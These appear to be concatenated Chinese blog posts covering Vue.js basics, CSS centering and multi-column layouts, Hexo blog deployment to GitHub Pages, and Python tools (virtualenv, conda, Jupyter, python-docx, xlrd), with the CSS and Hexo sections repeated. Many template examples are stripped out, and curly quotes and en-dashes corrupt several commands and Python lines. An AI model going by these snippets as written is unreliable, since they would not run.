当需要进行数据计算处理时,例如将两个数据合并,如果通过正常的表达式来表示,那么一旦数据处理复杂了,程序会显得很繁杂,vuejs中提供了一个叫计算属性的东西,例如: {{hallo}} 样式绑定 组件是可重复使用的实例,例如: const app = Vue.createApp({}) app.component("test",{ data() { return { abc: "hallo" } }, template: ` {{abc}} word ` }) app.mount("#app") 全局组件 一般来说组件的数据是独享的,只有全局组件才能进行数据访问,例如: const app = Vue.createApp({ template: ` ` // 父组件 }) app.component("test",{ template: `` // 全局组件 }) app.component("abc",{ data() { return { text: "hallo word" } }, template: ` {{text}} ` // 全局组件 }) app.mount('#app') abc组件分享了数据给test组件 局部组件 const Test_date ={ template: "hallo word " // 局部组件 } const Test_datea ={ template: "hallo hhh " // 局部组件 } const app = Vue.createApp({ components: { "test" :Test_date Test_datea } }).mount('#app') 其中test为组件名,指向了Test_date局部组件, 父子组件之间传递数据 静态传值只能传字符串类型,如果要传其他数据类型或者想动态传递数据,可以使用v-bind 通过循环来输出一组数据 传值校验 props中的值进行验证,例如: vuejs事件修饰符 .stop:阻止冒泡事件的发生,只触发自身的事件,一个子元素定义了事件,但是它的父元素也定义了一个事件,而且这两个事件的触发机制还是一样的,那么就会导致这两个事件都触发,而想避免发生就需要在目标元素上的事件加上.stop,例如: .prevent:拦截默认事件的发生,有一些标记拥有自身的默认事件,例如a标记,例如: {{data}} 这里阻止了a标记的默认事件 .capture:捕获事件,当发生冒泡事件时,先触发带有该修饰符的,如果有多个,则从父元素到子元素触发 触发机制:优先触发带有.capture的,然后再按照从内往外的冒泡 .self:只有当事件在该元素上时才触发,冒泡和捕获都无法让其触发事件,只要当事件发生在该元素本身才会触发 .once:指定该绑定的事件只会触发一次 .stop和.self的区别:.stop会阻止全部冒泡事件,而.self只阻止自身的冒泡 .passive:每一次发生事件,浏览器都去查询有没有preventDefault来阻止该事件的默认行为,.passive就是来声明,没有使用preventDefault来阻止该事件的默认行为,因为其是告诉没有使用阻止事件的默认行为,所有passive是和prevent冲突,不能一起使用,否则.prevent会被忽略 因为在移动端,一般都是监听滚动事件比较多,而每移动一次都会触发一次事件,会进行查询有没有使用prevent,可能会导致滑动卡顿,使用passive能有效提升移动端的性能和流畅度 生命周期钩子函数会在某一些特定的时刻自动触发,方便在该时刻完成一些工作 vue实例生命周期 vue实例的创建,运行,到销毁期间,会触发一些叫生命周期钩子的函数,可以通过该来监听数据变化 按照生命周期排序: beforeCreate:实例刚刚初始化之后,数据观察和事件机制(data 和 methods)都还未初始化,不能获取dom节点 created:数据观察和事件机制(data 和 methods)都已经初始化,dom节点处理完成,组件未加载 beforeMount:实例已经加载完毕,但是还没有执行挂载操作,得不到具体的DOM元素 mounted:实例已经加载完毕,也执行了挂载操作,DOM已被渲染出来 beforeUpdate:处于数据更新之前,data中的值是最新的,但是页面上还是旧的数据,还没有重新处理dom节点 updated:处于数据更新之后,data中的值和页面上的数据都已经更新,dom节点也被重新处理 beforeUnmount:实例销毁之前,实例还是在可用状态,可使用this获取实例 unmounted:实例销毁后,数据绑定和事件监听器全部清除,子实例销毁 例如: const app = Vue.createApp({ data(){ return{ message: 'hallo word' } }, beforeCreate() { console.log("beforeCreate") }, created() { console.log("created") }, beforeMount(){ console.log("beforeMount") }, mounted() { console.log("mounted") }, beforeUpdate() { console.log("beforeUpdate") }, updated() { console.log("updated") }, beforeUnmount() { console.log("beforeUnmount") }, unmounted() { console.log("unmounted") }, template: "{{message}}" }) let main = app.mount("#app") setTimeout(()=>{ main.$data.message = 'abc' // 挂载3秒后触发更新事件 },3000) setTimeout(() => { app.unmount() // 6秒后触发销毁事件 }, 6000) 访问组件的生命周期 vue组件周期 实例生命周期加on就是组件周期 beforeCreate和created统一为setup() beforeMount为onBeforeMout,mounted为onMounted,beforeUpdate为onBeforeUpdate,updated为onUpdated,beforeUnmount为onBeforeUnmount,unmounted为onUnmounted setup:data 和 method 都已经初始化 onBeforeMount:组件被挂载到dom节点之前 onMounted:组件被挂载到dom节点完毕 onBeforeUpdate:组件更新之前 onUpdated:组件更新之后 onBeforeUnmount:组件销毁之前 onUnmounted:组件销毁完毕之后 onErrorCaptured:当捕获到来自子孙组件的异常时 onRenderTracked:当虚拟DOM重新渲染时调用 onRenderTriggered:当虚拟DOM重新渲染被触发时调用 onActivated:当被包含在中的组件时 onDeactivated: 当被包含在中的组件发生改变时(例如切换组件,原来的组件销毁时) 注意:使用的组件会把数据保留在内存中,避免需要重新加载多次数据 实例的data()是一个函数,并非方法,vue在创建vue的组件实例过程中会调用该函数,以$data的形式进行存储在vue实例中,data中的所有值都可以通过实例来暴露(访问或者修改),例如: const hallo = Vue.createApp({ data() { return { hallovuejs: "hallo vuejs!" } } }).mount("#app") console.log(hallo.$data.hallovuejs) console.log(hallo.hallovuejs) 方法 vue允许使用methods向组件实例添加方法 vue会自动为methods绑定this,使其始终指向组件实例 methods一样可以在组件模板中暴露,也可以在模板中用做事件监听 计算属性 计算属性和方法的区别就是:计算属性只在其依赖发生变化才重新计算,只要依赖未发生改变,那么就会直接从缓存中获取,不会再执行其函数 如果使用一个方法来计算时,那么data()返回的值,发生一次改变,事件方法就会重新计算一次,因此涉及计算类的使用计算属性,而不是方法 例如: const app = Vue.createApp({ data() { return { hallovuejs: "hallo vuejs!" } }, computed: { hallo(){ return this.hallovuejs == "hallo vuejs!" ? "Yes" : "No" } } }).mount("#app") watch监听器 watch接收2个参数,被监听的data()属性值,回调函数,当监听的变量发生改变时,自动执行回调函数,例如 const app = Vue.createApp({ data() { return { num: 100 } }, watch: { num(current, prev) { console.log('num发生改变') console.log("改变之后的值:", current) console.log("改变之前的值:", prev) } } }) let vm = app.mount("#app") vm.num = 300 vm.$data.num = 600 另外一种使用方法 const count = ref(100) watch(count,(current, prev) => { console.log('num发生改变') console.log("改变之后的值:",current) console.log("改变之前的值:",prev) }) watch和计算属性的区别:虽然都可以监听data()属性值的改变,但是计算属性会在页面渲染时触发一次,而watch只在被监听的发生改变时触发,而且watch可以得到改变之后的值和改变之前的值 watch可以监听多个值 class绑定 vue允许使用:class对象来动态切换class,例如: 而class的存在取决于键值对的值,允许传入多个值,也可以直接调用对象,例如: vue也允许通过数组来传入class,例如: 同样也允许使用三元表达式,例如: 始终添加classa,classnav取决已经no的值 vue也是允许在数组中使用对象来处理 如果在组件中已经绑定了class,而在调用其又加上其他class,那么就会合并,vue允许在组件中进行:class,如果有多个元素,在调用时绑定class,但是又想指定其class给予某个,可以使用$attrs组件属性,例如: 上面只有vuejs接收到class 内联样式绑定(:style) 例子: 多重值 一般来说只会选择最后一个(前提是浏览器支持) 列表渲染 v-for可以将一个数组迭代成一组元素 使用的形式是 item in items,items为数组,item为迭代的元素,例如: {{ item.message }} in可以用of替代 v-for也可以使用对象(从某个角度来看,数组也是对象的一种),例如: {{ key }}:{{ item }} 自定义指令(directive) vue允许指定义指令,例如: 这里的abc指定的是当前元素 局部指令:组件中接受directives选项 指令的钩子函数 created:当绑定元素的属性和事件监听器被应用之前调用 beforeMount:当指令第一次绑定到元素并且在挂载父组件之前调用 mounted:绑定元素的父组件被挂载后调用 beforeUpdate:更新包含组件的VNode之前调用 updated:包含组件的VNode及其子组件的VNode更新后调用 beforeUnmount:在卸载绑定元素的父组件之前调用 unmounted:当指令与元素解除绑定,并且父组件也被卸载时调用一次 表单输入绑定 v-model可以用于数据的双向绑定,但是v-model会忽略表单元素的初始值,而使用实例中的数据作为数据源(需要在data中声明初始值) 复选框的数据绑定返回的是布尔值,也是可以将数据绑定到一个数组中,例如: hallo abc xyz data: {{datas}} 单选框(radio),数据存放在字符串中,输出的也是字符串(选择框和输入框也是字符串) 如果想输入或者选择返回的不是字符串,而是其他类型,可以使用v-model.number,当然也是可以进行手动转类型,但是v-model.number可以自动判断输入是否是数字还是字符串 true-value和false-value可以在被选中或者取消选中时触发,例如: data: {{datas}} v-model.lazy是v-model数据双向绑定的懒加载,在每次input事件(失去焦点)触发后将输入框的值与数据进行同步 v-model.trim可以自动过滤掉输入数据的首尾空格 组件 全局注册 app.component 局部注册 const componentA = {} components: { 'component-a': componentA, } 局部注册的组件,在其子组件是不可用的 通过Props传递数据给子组件 通过Props共享一些数据,例如: app.component('titles', { props: ['title'], template: `{{ title }}` }) 在上面的例子里,title=“hallo"被传递数据给模板,任何值的可以传递给props,如果一个值被传递给props属性,那么这个值就成了这个组件实例的共享数据,这个值可以在模板中访问 监听子组件事件 使用自定义事件监听子组件,通过子组件事件来告诉父组件应该做什么,例如: template: ` app ` 也可以在组件的emits中列出事件 app.component({ emits: ["hallomain"] }) 事件也可以用来返回一个值 app 这个值可以使用$event访问到,事件也可以是指向方法的,用事件来触发方法的使用,例如:@hallomain= “hallo” 给这个方法定义一下,在methods选项 组件也可以使用v-model(model-value) 如果是表单元素,例如input也想用自定义事件,需要将value绑定到props上,当input事件被触发时,就会将value通过自定义事件抛出,例如: app.component({ props: ["valueData"], emits: ["hallomain"], template: `
居中布局 分水平居中和垂直居中,水平+垂直居中 水平居中:当前元素在父级元素容器中,水平方向是居中显示的 inline-block+text-algin #app{ text-align: center; // 父元素,文本内容居中对齐 } .child{ display: inline-block; // 子元素,行内块级元素 } 优点:浏览器兼容性好(css2) 缺点:text-align具有继承性,会导致子元素的文本也是居中的 table+margin .child{ display: table; // 也可以为block margin: 0 auto; // 子元素,margin外边距,上下为0,左右为auto(浏览器自动分配) } 优点:只需要对子元素设置,就可以实现效果 缺点:如果子元素脱离正常流,将会导致margin属性的值无效化 absolute+transform #app{ position: relative; // 父元素相对定位 } .child{ position: absolute; // 子元素绝对定位,如果父元素没有定位,那么该元素是相对于页面定位,父元素定位了,那么该元素是相对于父元素的 left: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%(左负数,右正数) } 优点:父元素是否脱离正常流,也是不影响子元素的水平居中效果 缺点:transform属性是css3的新属性,浏览器兼容性比较差 垂直居中:当前元素在父级元素容器中,垂直方向是居中显示的 table-cell+vertical-algin #app{ // 父元素 display: table-cell; vertical-align: middle; // 设置文本的垂直方向对齐方式 } 优点:浏览器兼容性好 缺点:vertical-align属性具有继承性 absolute+transform #app{ position: relative; } .child{ position: absolute; top: 50%; transform: translateY(-50%); } 优点:父元素是否脱离正常流,也是不影响子元素的垂直居中效果 缺点:transform属性是css3的新属性,浏览器兼容性比较差 水平垂直居中:水平方向居中,也要垂直方向居中 table+margin(水平),table-cell+vertical-algin(垂直) absolute+transform #app{ position: relative; } .child{ position: absolute; top: 50%; left: 50%; transform: translate(-50%,-50%); } 多列布局(两列布局+三列布局+CSS3 多列布局) 两列布局:其中有一列是确定宽度,而另外一列则是自动填满(指定宽于自适应) float+margin .left{ width: 100px; float: left; } .right{ margin-left: 100px; } 优点:简单 缺点:自适应元素的margin属性值要和定宽元素的width属性值保持一致 或者给定宽元素position: relative,自适应元素给float: right和width: 100%,margin-left: -100px float+overflow .left{ width: 100px; float: left; } .right{ overflow: hidden; } 优点:简单 缺点:overflow属性会导致内容溢出(BFC) display:table #app{ display: table; table-layout: fixed; } .left{ width: 100px; } .left,.right{ display: table-cell; } 优点:浏览器兼容性好 缺点:父元素的display属性设置为table,会受到制约 三列布局:三列,有两列是确定宽度,另外一列自动填满(指定宽于自适应),一般中间那一列是内容区 效果实现和二列一样 圣杯布局 头部和底部都占页面100%宽度,高度固定,中间区域是一个三栏布局,三栏布局两侧宽度确定,中间部分自动填充(一般中间那是内容区) 中间部分一般是三栏中最高的(因为是内容区) float 头部和底部填满宽度,三列设置浮动和相对定位,中间部分的放在前面 三列设置overflow: hidden和padding-left(值为left的宽度),padding-right(值为right的宽度) left栏设置margin-left: -100%,就返回到左侧了,然后left,值为负的left高度 right栏right,值为负的right高度,margin-left,值为负的right高度 例如: 头部 中间 左 右 底部 flex 用flex弹性盒子比较简单一点,只需要给三列设置flex,按照左中右排列,中间部分设置flex: 1; 优点:简单,不需要设置dom 缺点:(flex)浏览器兼容性比较差 双飞翼布局 双飞翼布局和圣杯布局效果和要求类似,侧边宽度确定,中间自适应,不同的是,圣杯布局是在父元素设置内边距,两侧通过定位和浮动来插入到中间,而双飞翼布局是直接设置一个dom来放置三列 三列设置左浮动,中间设置宽度为100%,left设置外边距为负100%,right设置外边距为其本身宽度,中间设置外边距为两侧腾出位置,值为left和right的宽度 例如: 头部 中间 左 右 底部 其他布局 等分布局:子元素平均分配父元素的宽度 等高布局:子元素在父元素中高度相等 全屏布局:一般是一个顶部,一个底部,中间是两栏(一个侧边栏,一个主栏) 侧边栏一般为确定宽度的,主栏为自适应,顶部和底部是占页面100%宽度,一般会设置外边距来分开 吕形布局:就是页面分为两个容器,一般第一个容器是导航栏,第二个容器是内容区,常见于移动端布局 九宫格布局
居中布局 分水平居中和垂直居中,水平+垂直居中 水平居中:当前元素在父级元素容器中,水平方向是居中显示的 inline-block+text-algin #app{ text-align: center; // 父元素,文本内容居中对齐 } .child{ display: inline-block; // 子元素,行内块级元素 } 优点:浏览器兼容性好(css2) 缺点:text-align具有继承性,会导致子元素的文本也是居中的 table+margin .child{ display: table; // 也可以为block margin: 0 auto; // 子元素,margin外边距,上下为0,左右为auto(浏览器自动分配) } 优点:只需要对子元素设置,就可以实现效果 缺点:如果子元素脱离正常流,将会导致margin属性的值无效化 absolute+transform #app{ position: relative; // 父元素相对定位 } .child{ position: absolute; // 子元素绝对定位,如果父元素没有定位,那么该元素是相对于页面定位,父元素定位了,那么该元素是相对于父元素的 left: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%(左负数,右正数) } 优点:父元素是否脱离正常流,也是不影响子元素的水平居中效果 缺点:transform属性是css3的新属性,浏览器兼容性比较差 垂直居中:当前元素在父级元素容器中,垂直方向是居中显示的 table-cell+vertical-algin #app{ // 父元素 display: table-cell; vertical-align: middle; // 设置文本的垂直方向对齐方式 } 优点:浏览器兼容性好 缺点:vertical-align属性具有继承性 absolute+transform #app{ position: relative; } .child{ position: absolute; top: 50%; transform: translateY(-50%); } 优点:父元素是否脱离正常流,也是不影响子元素的垂直居中效果 缺点:transform属性是css3的新属性,浏览器兼容性比较差 水平垂直居中:水平方向居中,也要垂直方向居中 table+margin(水平),table-cell+vertical-algin(垂直) absolute+transform #app{ position: relative; } .child{ position: absolute; top: 50%; left: 50%; transform: translate(-50%,-50%); } 多列布局(两列布局+三列布局+CSS3 多列布局) 两列布局:其中有一列是确定宽度,而另外一列则是自动填满(指定宽于自适应) float+margin .left{ width: 100px; float: left; } .right{ margin-left: 100px; } 优点:简单 缺点:自适应元素的margin属性值要和定宽元素的width属性值保持一致 或者给定宽元素position: relative,自适应元素给float: right和width: 100%,margin-left: -100px float+overflow .left{ width: 100px; float: left; } .right{ overflow: hidden; } 优点:简单 缺点:overflow属性会导致内容溢出(BFC) display:table #app{ display: table; table-layout: fixed; } .left{ width: 100px; } .left,.right{ display: table-cell; } 优点:浏览器兼容性好 缺点:父元素的display属性设置为table,会受到制约 三列布局:三列,有两列是确定宽度,另外一列自动填满(指定宽于自适应),一般中间那一列是内容区 效果实现和二列一样 圣杯布局 头部和底部都占页面100%宽度,高度固定,中间区域是一个三栏布局,三栏布局两侧宽度确定,中间部分自动填充(一般中间那是内容区) 中间部分一般是三栏中最高的(因为是内容区) float 头部和底部填满宽度,三列设置浮动和相对定位,中间部分的放在前面 三列设置overflow: hidden和padding-left(值为left的宽度),padding-right(值为right的宽度) left栏设置margin-left: -100%,就返回到左侧了,然后left,值为负的left高度 right栏right,值为负的right高度,margin-left,值为负的right高度 例如: 头部 中间 左 右 底部 flex 用flex弹性盒子比较简单一点,只需要给三列设置flex,按照左中右排列,中间部分设置flex: 1; 优点:简单,不需要设置dom 缺点:(flex)浏览器兼容性比较差 双飞翼布局 双飞翼布局和圣杯布局效果和要求类似,侧边宽度确定,中间自适应,不同的是,圣杯布局是在父元素设置内边距,两侧通过定位和浮动来插入到中间,而双飞翼布局是直接设置一个dom来放置三列 三列设置左浮动,中间设置宽度为100%,left设置外边距为负100%,right设置外边距为其本身宽度,中间设置外边距为两侧腾出位置,值为left和right的宽度 例如: 头部 中间 左 右 底部 其他布局 等分布局:子元素平均分配父元素的宽度 等高布局:子元素在父元素中高度相等 全屏布局:一般是一个顶部,一个底部,中间是两栏(一个侧边栏,一个主栏) 侧边栏一般为确定宽度的,主栏为自适应,顶部和底部是占页面100%宽度,一般会设置外边距来分开 吕形布局:就是页面分为两个容器,一般第一个容器是导航栏,第二个容器是内容区,常见于移动端布局 九宫格布局
hexo+github可以实现免费搭建一个博客网站,就是维护起来有点麻烦 apt install npm npm install hexo-cli -g hexo init blog cd blog npm install hexo server 使用NexT apt install git git clone https://github.com/theme-next/hexo-theme-next.git 把hexo-theme-next文件夹放到hexo根目录的themes文件夹下 启动主题 打开hexo目录下的_config.yml文件,这个文件为站点配置文件 找到theme,修改值为hexo-theme-next 调试模式 hexo s –debug 查看是否输出有错误,方便修改错误信息 选择主题 打开主题的根目录的_config.yml文件,这个文件是主题配置文件 找到scheme,需要启动的在前面去掉#注释即可,不需要就加注释# 设置 语言 打开站点配置文件,修改language为需要的语言zh-CN 修改菜单 打开主题配置文件,找到menu,需要用到的菜单就去掉#,不需要就加# home 主页 archives 归档页 categories 分类页 tags 标签页 about 关于页面 commonweal公益 404 修改对应的语言翻译 主题目录下languages/zh-CN.yml 设定菜单项的图标,可以使用的是Font Awesome 图标 设置 侧栏 打开主题配置文件 修改sidebar.position的值 left - 靠左放置 right - 靠右放置 设置 头像 打开主题配置文件,修改avatar值设置成头像的链接地址 可以是url,也可以站点内的地址 设置 作者昵称 打开站点配置文件,设置 author 为作者的昵称 站点描述 打开站点配置文件 设置 description 字段为你的站点描述 百度统计 打开主题配置文件 修改字段 baidu_analytics 字段,值设置成百度统计 id 添加RSS功能 npm install hexo-generator-feed –save 编辑主题配置文件,修改rss,rss: /atom.xml 标签 页面 hexo new page tags type: “tags” 分类 页面 hexo new page categories type: “categories” 设置代码高亮主题 打开主题配置文件 修改highlight_theme 可选的值有 normal,night, night blue, night bright, night eighties 侧边栏社交链接 social 格式是 显示文本: 链接地址 social_icons 格式是 匹配键: Font Awesome 图标名称 友情链接 打开主题配置文件 links 404页面 新建 404.html 页面,放到主题的 source 目录下 推荐使用腾讯公益404页面 站点建立时间 打开主题配置文件,since 来必力 打开主题配置文件,livere_uid: LiveRe UID Google 分析 打开主题配置文件, 修改字段 google_analytics, 值设置成 Google 跟踪 ID。跟踪 ID 通常是以 UA- 开头。 腾讯分析 打开主题配置文件 里将 ID 放置 tencent_analytics CNZZ 统计 在主题配置文件中添加cnzz_siteid的配置项,值为 CNZZ 里面添加统计的站点ID 百度分享 打开主题配置文件 添加/修改字段 baidushare,值为 true 搜索服务 如何设置 阅读全文 在文章中使用 手动进行截断,Hexo 提供的方式 打开主题配置文件,添加: auto_excerpt: enable: true length: 150 部署到Github git config –global user.name “chenjunlinabc” git config –global user.email “a@xiaochenabc123.test.com” ssh-keygen -t rsa -C “a@xiaochenabc123.test.com” 检查是否连接上github ssh -T git@github.com 设置deploy参数 打开主题配置文件 deploy: type: git repo: git@github.com:chenjunlinabc/chenjunlinabc.github.io.git branch: main github的分支默认为main 安装一个插件 npm install hexo-deployer-git –save hexo clean 清理缓存 hexo g 进行渲染 部署到git服务器,hexo d 关于每次hexo d后,GitHub Pages自定义域名都会失效的解决方法 在source目录下添加一个文件CNAME就好 该文件放域名
hexo+github可以实现免费搭建一个博客网站,就是维护起来有点麻烦 apt install npm npm install hexo-cli -g hexo init blog cd blog npm install hexo server 使用NexT apt install git git clone https://github.com/theme-next/hexo-theme-next.git 把hexo-theme-next文件夹放到hexo根目录的themes文件夹下 启动主题 打开hexo目录下的_config.yml文件,这个文件为站点配置文件 找到theme,修改值为hexo-theme-next 调试模式 hexo s –debug 查看是否输出有错误,方便修改错误信息 选择主题 打开主题的根目录的_config.yml文件,这个文件是主题配置文件 找到scheme,需要启动的在前面去掉#注释即可,不需要就加注释# 设置 语言 打开站点配置文件,修改language为需要的语言zh-CN 修改菜单 打开主题配置文件,找到menu,需要用到的菜单就去掉#,不需要就加# home 主页 archives 归档页 categories 分类页 tags 标签页 about 关于页面 commonweal公益 404 修改对应的语言翻译 主题目录下languages/zh-CN.yml 设定菜单项的图标,可以使用的是Font Awesome 图标 设置 侧栏 打开主题配置文件 修改sidebar.position的值 left - 靠左放置 right - 靠右放置 设置 头像 打开主题配置文件,修改avatar值设置成头像的链接地址 可以是url,也可以站点内的地址 设置 作者昵称 打开站点配置文件,设置 author 为作者的昵称 站点描述 打开站点配置文件 设置 description 字段为你的站点描述 百度统计 打开主题配置文件 修改字段 baidu_analytics 字段,值设置成百度统计 id 添加RSS功能 npm install hexo-generator-feed –save 编辑主题配置文件,修改rss,rss: /atom.xml 标签 页面 hexo new page tags type: “tags” 分类 页面 hexo new page categories type: “categories” 设置代码高亮主题 打开主题配置文件 修改highlight_theme 可选的值有 normal,night, night blue, night bright, night eighties 侧边栏社交链接 social 格式是 显示文本: 链接地址 social_icons 格式是 匹配键: Font Awesome 图标名称 友情链接 打开主题配置文件 links 404页面 新建 404.html 页面,放到主题的 source 目录下 推荐使用腾讯公益404页面 站点建立时间 打开主题配置文件,since 来必力 打开主题配置文件,livere_uid: LiveRe UID Google 分析 打开主题配置文件, 修改字段 google_analytics, 值设置成 Google 跟踪 ID。跟踪 ID 通常是以 UA- 开头。 腾讯分析 打开主题配置文件 里将 ID 放置 tencent_analytics CNZZ 统计 在主题配置文件中添加cnzz_siteid的配置项,值为 CNZZ 里面添加统计的站点ID 百度分享 打开主题配置文件 添加/修改字段 baidushare,值为 true 搜索服务 如何设置 阅读全文 在文章中使用 手动进行截断,Hexo 提供的方式 打开主题配置文件,添加: auto_excerpt: enable: true length: 150 部署到Github git config –global user.name “chenjunlinabc” git config –global user.email “a@xiaochenabc123.test.com” ssh-keygen -t rsa -C “a@xiaochenabc123.test.com” 检查是否连接上github ssh -T git@github.com 设置deploy参数 打开主题配置文件 deploy: type: git repo: git@github.com:chenjunlinabc/chenjunlinabc.github.io.git branch: main github的分支默认为main 安装一个插件 npm install hexo-deployer-git –save hexo clean 清理缓存 hexo g 进行渲染 部署到git服务器,hexo d 关于每次hexo d后,GitHub Pages自定义域名都会失效的解决方法 在source目录下添加一个文件CNAME就好 该文件放域名
Virtualenv是一个能创建隔绝的独立的Python虚拟环境工具。它能够建立多个相互独立,互不影响的Python工作环境 用来创建一套独立于系统Python环境的虚拟环境,在虚拟环境下,使用pip安装的依赖都会安装到当前的虚拟环境中,对系统的python环境没有影响 当开发多个Python程序时当,程序1要使用3.6环境,但是程序2要使用3.8环境时,Virtualenv可以完美解决这个问题 Windows pip install virtualenvwrapper-win 使用pip安装Virtualenv pip3 install virtualenv 然后创建一个Virtualenv虚拟环境 virtualenv webpy #webpy为虚拟环境目录名,目录名自定义 virtualenv -p python环境路径 虚拟环境名 #创建指定Python环境路径的虚拟环境 virtualenv –no-site-packages 虚拟环境名 #创建一个干净的Python虚拟环境,系统Python环境的所有第三方包不会复制过来 virtualenv –no-site-packages –python=版本名 虚拟环境名 #创建一个指定python版本的虚拟环境 workon # 输出所有虚拟环境名 Windows workon 虚拟环境名 # 进入虚拟环境 Windows source 文件夹路径 # 激活当前virtualenv并进入虚拟环境 或者进入虚拟环境目录的bin目录,输入source activate Windows是在虚拟环境目录下的Scripts目录,输入activate deactivate # 退出当前环境 在虚拟环境下,使用pip安装的所有第三方包都会安装到当前的虚拟环境中,不会对系统的Python环境进行"污染" 想要删除某一个虚拟环境时,只需要将虚拟环境的目录删除 pip使用国内源 清华:https://pypi.tuna.tsinghua.edu.cn/simple 豆瓣:http://pypi.douban.com/simple/ 中国科技大学 https://pypi.mirrors.ustc.edu.cn/simple/ 临时使用 pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pandas linux下 配置永久使用 cd ~ # 进入用户目录 mkdir .pip # 新建一个隐藏文件夹 touch pip.conf # 新建一个文件 nano pip.conf # 编辑文件,这里使用nano,可以使用其他编辑器,例如vim 在文件中添加 [global] index-url = https://pypi.tuna.tsinghua.edu.cn/simple windows下 配置永久使用 在user目录下创建一个pip目录 在该目录新建一个pip.ini文件 在文件中添加 [global] index-url = https://pypi.tuna.tsinghua.edu.cn/simple [install] trusted-host = pypi.tuna.tsinghua.edu.cn jupyter 最简单的安装方法就是使用python的科学计算包—-Anaconda 该发行版中包含了大量的科学包,其中就附带了jupyter 可以通过 pip 来安装 pip install jupyter notebook 启动notebook服务器也很简单,在终端使用jupyter notebook命令就可以了‘’ 服务器的默认地址是http://localhost:8888 通过点击“New”,来新建文件夹或者文档 通过ctrl+c来关闭服务器 修改jupyter默认工作路径 在终端使用jupyter notebook –generate-config 输出一个路径的文件,修改这个文件 找到#c.NotebookApp.notebook_dir = '' 修改成c.NotebookApp.notebook_dir = ‘你想要修改到的那个工作目录的路径’ 这个工作目录必须提前创建好,否则可能出现闪退 修改默认浏览器 同样在终端使用jupyter notebook –generate-config 如果你已经知道这个文件在哪里可以不用,这个命令只是让我们找到jupyter的配置文件,jupyter_notebook_config.py 找到#c.NotebookApp.notebook_dir = '' 在它的后面加入 import webbrowser webbrowser.register( "Microsoft Edge", None, webbrowser.GenericBrowser(u""C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"") ) c.NotebookApp.browser = "Microsoft Edge" 路径要修改为浏览器的路径 conda conda有两个,一个是anaconda,另一个是miniconda anaconda是集成(包含)了一些科学计算包,而miniconda是你要用什么就装什么 Miniconda 是一个 Anaconda 的轻量级版本,默认只包含了 python 和 conda,但是可以通过 pip 和 conda 来安装所需要的包。 这里安装的minicoda wget https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh bash Miniconda3-latest-Linux-x86_64.sh 如果是新机器,一路yes就可以了 创建环境 conda create –name webpy python=3.7 // 建立一个名叫py37的环境,指定Python版本为Python3.7的最新版本 激活环境 activate webpy // 用于Windows系统 source activate webpy // 用于mac或者linux系统 python –version // 检查Python版本 退出当前环境 deactivate webpy // 用于Windows系统 source deactivate webpy // 用于mac或者linux系统 conda remove –name webpy –all // 删除指定环境 conda info -e // 查看系统的所有环境 conda install numpy // 安装numpy库 conda list // 查看已经安装好的库 conda list -n webpy // 查看指定环境已经安装好的库 conda install -n webpy numpy // 安装库到指定环境内 conda update -n webpy numpy // 指定环境更新指定库 conda remove -n webpy numpy // 删除指定环境中的指定库 conda update anaconda // 更新anaconda conda update python // 更新Python 添加国内镜像来提升下载速度(使用清华镜像站) conda config –add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ conda config –add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/ conda config –set show_channel_urls yes docx模块(操作Word) 导入模块 from docx import Document from docx.shared import Inches 初始化Document对象 document = Document() Document(“1.docx”) 写入标题,段落样式由level控制,范围0到9,默认为1 document.add_heading(text=“hallo word”,level=9) 写入段落,段落样式由style控制 data = document.add_paragraph(text=“https://xiaochenabc123.test.com/",style=None) 插入段落到现有段落中,段落样式由style控制 data.insert_paragraph_before(text=“abcxyz”,style=None) 插入图片,并且缩小图片英寸为1.6 document.add_picture(“1.jpg”,width=Inches(1.6)) 插入表格,rows是指定行数,cols是指定行数,style为表格样式 table = document.add_table(rows=1,cols=3,style=“Table Grid”) 插入列表中第一行的单元格 maincells = table.rows[0].cells maincells[0].text = “id” maincells[1].text = “user” maincells[2].text = “pass” 初始化 data_cells =( [1,“root”,“a”], [2,“admin”,“b”], [3,“user”,“c”] ) 写入 for item in data_cells: maincells_rows = table.add_row().cells maincells_rows[0].text = str(item[0]) maincells_rows[1].text = item[1] maincells_rows[2].text = item[2] 保存 document.save(“hallo.docx”) docx样式 导入模块 from docx import Document from docx.shared import Pt from docx.shared import RGBColor from docx.oxml.ns import qn 初始化Document对象 document = Document(“1.docx”) 插入页眉 header = document.sections[0].header header.add_paragraph(“hallo python”) 插入页脚 footer = document.sections[0].footer footer.add_paragraph(“hallo word”) 样式 p1 = document.add_paragraph() text1 = p1.add_run(“hallo WORD,hallo python-docx,你好,世界”) 字体大小 text1.font.size = Pt(16) 字体是否加粗 text1.bold = True 字体 text1.font.name = “黑体” 字体(只能设置中文) text1.element.rPr.rFonts.set(qn(“w:eastAsia”), “黑体”) 字体颜色 text1.font.color.rgb = RGBColor(0, 0, 255) 斜体 text1.italic = True 下划线 text1.underline = True 保存 document.save(“hallo.docx”) xlrd模块+xlwt模块(操作xlsx) 注意:xlrd模块只有低于或等于1.2.0版本才能操作xlsx文件,高于该版本只支持xls文件,或者使用openpyxl代替xlrd模块 导入xlrd模块 import xlrd 加载1.xlsx data = xlrd.open_workbook(“1.xlsx”) 判断是否加载成功,可以指定第几张工作表,0为第一个工作表 print(data.sheet_loaded(0)) #True 卸载指定工作表 data.unload_sheet(0) 输出全部工作表名字(Sheet) print(data.sheet_names()) 输出工作表的数量 print(data.nsheets) 输出全部所有sheet对象 print(data.sheets()) 将指定工作表索引到变量中 main = data.sheet_by_index(0) 名字索引到变量中 main = data.sheet_by_name(“Sheet1”) 输出工作表名字 print(main.name) 输出工作表有效总行数 print(main.nrows) 输出工作表有效总列数 print(main.ncols) 输出工作表有效总列数 print(main.row_len(1)) 输出单元格值类型和内容 print(main.row(0)) 数据类型: 空:0 字符串:1 数字:2 日期:3 布尔:4 error:5 输出第1行第二列的单元格内容 print(main.row(0)[1].value) 输出第二列表的全部内容 print(main.col(1)) 输出第一行的内容 print(main.row_values(0)) 输出单元格数据类型 print(main.row_types(0)) 输出第一列的内容 print(main.col_values(0)) 输出第二列的数据类型 print(main.col_types(1)) 输出第6行第一列内容和数据类型 print(main.cell(5,0)) 输出第6行第一列内容的数据类型 print(main.cell(5,0).ctype) 输出第6行第一列内容 